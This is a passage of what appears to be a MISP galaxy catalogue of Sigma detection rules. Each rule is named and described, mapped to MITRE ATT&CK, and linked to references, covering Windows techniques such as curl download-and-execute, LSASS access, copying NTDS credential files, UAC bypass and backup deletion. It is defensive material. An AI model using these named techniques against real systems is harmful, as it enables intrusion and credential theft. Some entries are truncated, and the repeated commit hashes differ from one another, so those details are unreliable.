</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
</tbody>
</table>
Potential CommandLine Path Traversal Via Cmd.EXE

Detects potential path traversal attempt via cmd.exe. Could indicate possible command/argument confusion/hijacking

The tag is: misp-galaxy:sigma-rules="Potential CommandLine Path Traversal Via Cmd.EXE"

View relationships graph

Potential CommandLine Path Traversal Via Cmd.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 9890. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/Oddvarmoe/status/1270633613449723905">https://twitter.com/Oddvarmoe/status/1270633613449723905</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_path_traversal.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_path_traversal.yml</a></td>
</tr>
</tbody>
</table>

Curl Download And Execute Combination

Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later.

The tag is: misp-galaxy:sigma-rules="Curl Download And Execute Combination"

View relationships graph

Curl Download And Execute Combination has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 9891. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://medium.com/@reegun/curl-exe-is-the-new-rundll32-exe-lolbin-3f79c5f35983">https://medium.com/@reegun/curl-exe-is-the-new-rundll32-exe-lolbin-3f79c5f35983</a></td>
</tr>
</tbody>
</table>
Copy from Admin Share

Detects a suspicious copy command to or from an Admin share or remote

The tag is: `misp-galaxy:.sigma-rules="Copy from Admin Share"`

View relationships graph

Copy from Admin Share has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039"` with estimative-language:likelihood-probability="almost-certain"

Table 9892. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view">https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/SBousseaden/status/1211636381086339073">https://twitter.com/SBousseaden/status/1211636381086339073</a></td>
</tr>
</tbody>
</table>

UAC Bypass via ICMLuaUtil

Detects the pattern of UAC Bypass using ICMLuaUtil Elevated COM interface

The tag is: `misp-galaxy: sigma-rules="UAC Bypass via ICMLuaUtil"

View relationships graph

UAC Bypass via ICMLuaUtil has relationships with:


Table 9893. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
HackTool - ADCSPwn Execution

Detects command line parameters used by ADCSPwn, a tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service.

The tag is: misp-galaxy:sigma-rules="HackTool - ADCSPwn Execution"

View relationships graph

HackTool - ADCSPwn Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

Table 9894. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/bats3c/ADCSPwn">https://github.com/bats3c/ADCSPwn</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_adcspwn.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_adcspwn.yml</a></td>
</tr>
</tbody>
</table>

Sysprep on AppData Folder

Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec)

The tag is: misp-galaxy:sigma-rules="Sysprep on AppData Folder"

View relationships graph

Sysprep on AppData Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 9895. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/61a296bb-81ad-4fee-955f-3b399f4aaf4b">https://app.any.run/tasks/61a296bb-81ad-4fee-955f-3b399f4aaf4b</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets">https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets</a></td>
</tr>
</tbody>
</table>
HackTool - SharpEvtMute Execution

Detects the use of SharpEvtHook, a tool that tampers with the Windows event logs

The tag is: *misp-galaxy: sigma-rules="HackTool - SharpEvtMute Execution"*

View relationships graph

HackTool - SharpEvtMute Execution has relationships with:


Table 9896. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/bats3c/EvtMute">https://github.com/bats3c/EvtMute</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpevtmute.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpevtmute.yml</a></td>
</tr>
</tbody>
</table>

PowerShell Get-Process LSASS

Detects a "Get-Process" cmdlet and its aliases on lsass process, which is in almost all cases a sign of malicious activity

The tag is: *misp-galaxy: sigma-rules="PowerShell Get-Process LSASS"*

View relationships graph

PowerShell Get-Process LSASS has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Private Keys - T1552.004"* with estimative-language:likelihood-probability="almost-certain"

Table 9897. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/PythonResponder/status/1385064506049630211">https://twitter.com/PythonResponder/status/1385064506049630211</a></td>
</tr>
</tbody>
</table>

PUA - AdFind Suspicious Execution

Detects AdFind execution with common flags seen used during attacks
The tag is: `misp-galaxy:sigma-rules="PUA - AdFind Suspicious Execution"`

View relationships graph

PUA - AdFind Suspicious Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"

Table 9898. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2020/05/08/adfind-recon/">https://thedfirreport.com/2020/05/08/adfind-recon/</a></td>
</tr>
<tr>
<td><a href="https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md">https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1087.002/T1087.002.md#atomic-test-7---adfind---enumerate-active-directory-user-objects">https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1087.002/T1087.002.md#atomic-test-7---adfind---enumerate-active-directory-user-objects</a></td>
</tr>
<tr>
<td><a href="https://www.joeware.net/freetools/tools/adfind/">https://www.joeware.net/freetools/tools/adfind/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_adfind_susp_usage.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_adfind_susp_usage.yml</a></td>
</tr>
</tbody>
</table>

**HackTool - winPEAS Execution**

WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz

The tag is: `misp-galaxy:sigma-rules="HackTool - winPEAS Execution"`

View relationships graph

HackTool - winPEAS Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with
Root Certificate Installed From Susp Locations

Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.

The tag is: `misp-galaxy:sigma-rules="Root Certificate Installed From Susp Locations"`

View relationships graph

Root Certificate Installed From Susp Locations has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004"` with estimative-language:likelihood-probability="almost-certain"

Tasks Folder Evasion

The Tasks folder in system32 and syswow64 are globally writable paths. Adversaries can take advantage of this and load or influence any script hosts or ANY .NET Application in Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr

The tag is: `misp-galaxy:sigma-rules="Tasks Folder Evasion"`

View relationships graph
Tasks Folder Evasion has relationships with:


**Suspicious Ping/Copy Command Combination**

Detects uncommon one-liner command having ping and copy at the same time, which is usually used by malware.

The tag is: misp-galaxy:.sigma-rules="Suspicious Ping/Copy Command Combination"

View relationships graph

Suspicious Ping/Copy Command Combination has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

**Suspicious Modification Of Scheduled Tasks**

Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location. Attackers can create a simple looking task in order to avoid detection on creation as it’s often the most focused on. Instead they modify the task after creation to include their malicious payload.

The tag is: misp-galaxy:sigma-rules="Suspicious Modification Of Scheduled Tasks"

View relationships graph

Suspicious Modification Of Scheduled Tasks has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
HackTool - PPID Spoofing SelectMyParent Tool Execution

Detects the use of parent process ID spoofing tools like Didier Stevens tool SelectMyParent

The tag is: *misp-galaxy: sigma-rules="HackTool - PPID Spoofing SelectMyParent Tool Execution"

View relationships graph

Firewall Disabled via Netsh.EXE

Detects netsh commands that turns off the Windows firewall

The tag is: *misp-galaxy: sigma-rules="Firewall Disabled via Netsh.EXE"

View relationships graph
Uncommon Child Process Of BgInfo.EXE

Detects uncommon child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript.

The tag is: `misp-galaxy:sigma-rules="Uncommon Child Process Of BgInfo.EXE"`

View relationships graph

Uncommon Child Process Of BgInfo.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"` with estimative-language:likelihood-probability="almost-certain"

Custom Class Execution via Xwizard

Detects the execution of Xwizard tool with specific arguments which utilized to run custom class properties.

The tag is: `misp-galaxy:sigma-rules="Custom Class Execution via Xwizard"`

View relationships graph
Custom Class Execution via Xwizard has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9907. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Xwizard/">https://lolbas-project.github.io/lolbas/Binaries/Xwizard/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml</a></td>
</tr>
</tbody>
</table>

Disable Important Scheduled Task

Detects when adversaries stop services or processes by disabling their respective scheduled tasks in order to conduct data destructive activities

The tag is: misp-galaxy:sigma-rules="Disable Important Scheduled Task"

View relationships graph

Disable Important Scheduled Task has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 9908. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-8---windows---disable-the-sr-scheduled-task">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-8---windows---disable-the-sr-scheduled-task</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/">https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MichalKoczwara/status/1553634816016498688">https://twitter.com/MichalKoczwara/status/1553634816016498688</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_disable.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_disable.yml</a></td>
</tr>
</tbody>
</table>

Directory Removal Via Rmdir

Detects execution of the builtin "rmdir" command in order to delete directories. Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

The tag is: misp-galaxy:sigma-rules="Directory Removal Via Rmdir"

View relationships graph
Directory Removal Via Rmdir has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 9909. Table References

Links

- https://github.com/redcanaryco/atomic-red-team/blob/339e7da7d0f6057dfcdd3742bf365f692a9/atomics/T1070.004/T1070.004.md
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_rmdir_execution.yml

Uncommon AddinUtil.EXE CommandLine Execution

Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) with uncommon Addinroot or Pipelineroot paths. An adversary may execute AddinUtil.exe with uncommon Addinroot/Pipelineroot paths that point to the adversaries Addins.Store payload.

The tag is: misp-galaxy:sigma-rules="Uncommon AddinUtil.EXE CommandLine Execution"

View relationships graph

Uncommon AddinUtil.EXE CommandLine Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9910. Table References

Links

- https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_cmdline.yml

Potential COM Objects Download Cradles Usage - Process Creation

Detects usage of COM objects that can be abused to download files in PowerShell by CLSID

The tag is: misp-galaxy:sigma-rules="Potential COM Objects Download Cradles Usage - Process Creation"

View relationships graph

Potential COM Objects Download Cradles Usage - Process Creation has relationships with:
Add Windows Capability Via PowerShell Cmdlet

Detects usage of the "Add-WindowsCapability" cmdlet to add Windows capabilities. Notable capabilities could be "OpenSSH" and others.

The tag is: misp-galaxy:sigma-rules="Add Windows Capability Via PowerShell Cmdlet"

Scripting/CommandLine Process Spawned Regsvr32

Detects various command line and scripting engines/processes such as "PowerShell", "Wscript", "Cmd", etc. spawning a "regsvr32" instance.

The tag is: misp-galaxy:sigma-rules="Scripting/CommandLine Process Spawned Regsvr32"

View relationships graph

Scripting/CommandLine Process Spawned Regsvr32 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
**DLL Execution Via Register-cimprovider.exe**

Detects using register-cimprovider.exe to execute arbitrary dll file.

The tag is: *misp-galaxy: sigma-rules*="DLL Execution Via Register-cimprovider.exe"

View relationships graph

DLL Execution Via Register-cimprovider.exe has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language: likelihood-probability="almost-certain"

*Table 9914. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/">https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/PhilipTsukerman/status/992021361106268161">https://twitter.com/PhilipTsukerman/status/992021361106268161</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_cimprovider_dll_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_cimprovider_dll_load.yml</a></td>
</tr>
</tbody>
</table>

**Uncommon Userinit Child Process**

Detects uncommon "userinit.exe" child processes, which could be a sign of uncommon shells or login scripts used for persistence.

The tag is: *misp-galaxy: sigma-rules*="Uncommon Userinit Child Process"

View relationships graph

Uncommon Userinit Child Process has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language: likelihood-probability="almost-certain"

*Table 9915. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://learn.microsoft.com/en-us/windows-server/administration/server-core/server-core-sconfig#powershell-is-the-default-shell-on-server-core">https://learn.microsoft.com/en-us/windows-server/administration/server-core/server-core-sconfig#powershell-is-the-default-shell-on-server-core</a></td>
</tr>
</tbody>
</table>
Start of NT Virtual DOS Machine

Ntvdm.exe allows the execution of 16-bit Windows applications on 32-bit Windows operating systems, as well as the execution of both 16-bit and 32-bit DOS applications.

The tag is: `misp-galaxy:sigma-rules="Start of NT Virtual DOS Machine"`

SystemStateBackup Deleted Using Wbadmin.EXE

Deletes the Windows systemstatebackup using wbadmin.exe. This technique is used by numerous ransomware families. This may only be successful on server platforms that have Windows Backup enabled.

The tag is: `misp-galaxy:sigma-rules="SystemStateBackup Deleted Using Wbadmin.EXE"`

SystemStateBackup Deleted Using Wbadmin.EXE has relationships with:

File Download Using ProtocolHandler.exe

Dectects usage of "ProtocolHandler" to download files. Downloaded files will be located in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)

The tag is: `misp-galaxy:sigma-rules="File Download Using ProtocolHandler.exe"`

View relationships graph

File Download Using ProtocolHandler.exe has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

Table 9918. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcd3742bfcf365fee2a9/atomics/T1218/T1218.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcd3742bfcf365fee2a9/atomics/T1218/T1218.md</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/ProtocolHandler/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/ProtocolHandler/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_protocolhandler_download.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_protocolhandler_download.yml</a></td>
</tr>
</tbody>
</table>

Uncommon One Time Only Scheduled Task At 00:00

Detects scheduled task creation events that include suspicious actions, and is run once at 00:00

The tag is: `misp-galaxy:sigma-rules="Uncommon One Time Only Scheduled Task At 00:00"`

View relationships graph

Uncommon One Time Only Scheduled Task At 00:00 has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"

Table 9919. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_one_time_only_midnight_task.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_one_time_only_midnight_task.yml</a></td>
</tr>
</tbody>
</table>

Copying Sensitive Files with Credential Data

Files with well-known filenames (sensitive files with credential data) copying
The tag is: misp-galaxy:sigma-rules="Copying Sensitive Files with Credential Data"

View relationships graph

Copying Sensitive Files with Credential Data has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 9920. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment">https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment</a></td>
</tr>
</tbody>
</table>

**Suspicious Driver Install by pnputil.exe**

Detects when a possible suspicious driver is being installed via pnputil.exe lolbin

The tag is: misp-galaxy:sigma-rules="Suspicious Driver Install by pnputil.exe"

View relationships graph

Suspicious Driver Install by pnputil.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="almost-certain"

Table 9921. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://strontic.github.io/xcyclopedia/library/pnputil.exe-60EDC5E6BDBAEE441F2E3AEACD0340D2.html">https://strontic.github.io/xcyclopedia/library/pnputil.exe-60EDC5E6BDBAEE441F2E3AEACD0340D2.html</a></td>
</tr>
</tbody>
</table>

**Use of UltraVNC Remote Access Software**

An adversary may use legitimate desktop support and remote access software, to establish an
interactive command and control channel to target systems within networks

The tag is: *misp-galaxy: sigma-rules="Use of UltraVNC Remote Access Software"

**View relationships graph**

Use of UltraVNC Remote Access Software has relationships with:


**Table 9922. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1219/T1219.md">https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1219/T1219.md</a></td>
</tr>
</tbody>
</table>

**Indirect Inline Command Execution Via Bash.EXE**

Detects execution of Microsoft bash launcher with the "-c" flag. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash

The tag is: *misp-galaxy: sigma-rules="Indirect Inline Command Execution Via Bash.EXE"

**View relationships graph**

